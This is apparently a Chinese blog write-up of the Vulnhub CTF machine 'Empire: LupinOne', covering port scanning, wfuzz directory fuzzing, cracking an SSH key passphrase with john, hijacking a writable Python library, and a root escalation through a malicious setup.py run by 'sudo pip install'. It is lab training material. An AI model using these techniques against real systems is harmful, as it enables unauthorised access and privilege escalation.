Vulnhub-Empire: LupinOne题解

Vulnhub-Empire: LupinOne题解

本靶机为Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE

扫描与发现

利用arp-scan命令扫描靶机IP

arp-scan -l

利用nmap扫描开放端口

nmap -sV -p- 192.168.164.190

目标探索

浏览器打开80端口,发现是一张图片,没有其他内容,检测源代码也没有发现有用信息

检查robots.txt文件发现/~myfiles目录,打开却发现Error 404

在旧版本的Apache服务器中,~ 指代用户主目录,我们可以尝试找到与此相似的路径,使用wfuzz工具对其路径进行测试,发现~secret目录

wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.164.190/~FUZZ

在浏览器中打开该路径~secret/发现一段文字

上面称这是一个秘密目录,这里隐藏了他创建的ssh 私钥文件,并且得知用户名为icex64。接下来继续在该路径下搜索文件,得到.mysecret.txt文件

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hc 404,403 -u http://192.168.164.190/~secret/.FUZZ.txt

浏览器打开发现是一串编码后的字符串

可以使用编码识别工具进行识别,发现其为Base58,使用在线工具进行解码得到私钥文件内容

拿到shell

在本地创建文件key,将私钥保存到其中,然后使用john工具破解密码

python2 /usr/share/john/ssh2john.py key > keyhash
john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt

得到密码为P@55w0rd!。将key 文件权限设为600(否则无法连接),然后利用ssh连接icex64用户

chmod 600 key
ssh icex64@192.168.164.190 -i key

水平越权

拿到shell后搜索suid文件,Capability文件,sudo -l发现可以执行一条命令

来到/home/arsene目录下,查看heist.py文件权限,没有修改权限,查看内容,发现其调用了webbrower.open()

我们通过find找到该文件的位置,查看其权限,发现可以写入内容

find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py

我们可以直接编辑该文件,写入调用shell脚本(或者反弹shell脚本)

保存退出,执行,获得arsene用户shell

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

权限提升

拿到arsene用户权限后,查看sudo -l,发现可以免密执行/usr/bin/pip

sudo -l

我们可以在当前路径下新创建一个目录并打开在里面创建setup.py文件,里面写入我们想运行的python脚本,如反弹shell,然后利用pip install以root权限执行。

mkdir tmp
cd tmp
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .

来到root目录下,打开root.txt拿到flag

posted @ 2021-11-26 11:59  C0ngvv  阅读(812)  评论(0编辑  收藏  举报